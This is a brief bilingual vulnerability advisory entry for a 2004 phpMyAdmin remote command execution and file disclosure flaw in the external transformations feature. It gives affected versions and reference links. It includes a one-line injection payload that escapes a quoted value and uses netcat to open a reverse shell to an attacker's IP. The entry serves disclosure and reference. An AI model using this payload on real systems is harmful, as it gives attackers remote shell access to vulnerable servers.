https://www.exploit-db.com/exploits/24817
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200501-165

phpMyAdmin是一个免费工具，用于通过Web界面管理MySQL数据库。phpMyAdmin2.6.0-p12及其他2.6.1之前的版本中存在远程代码执行漏洞。当配置为启用externaltransformations时，远程攻击者可利用此漏洞，通过Shell执行任意指令。

source: http://www.securityfocus.com/bid/11886/info

phpMyAdmin is reported prone to multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands and disclose files on a vulnerable computer. These issues result from insufficient sanitization of user-supplied data.

The command execution is reported to be present since phpMyAdmin 2.6.0-pl2. The file disclosure is present since phpMyAdmin 2.4.0.

F';nc -e /bin/sh $IP 80;echo 'A

来源:XF
名称:phpmyadmin-command-execute(18441)
链接:http://xforce.iss.net/xforce/xfdb/18441
来源:MISC
链接:http://www.exaprobe.com/labs/advisories/esa-2004-1213.html
来源:BUGTRAQ
名称:20041213MultiplevulnerabilitiesinphpMyAdmin
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110295781828323&w;=2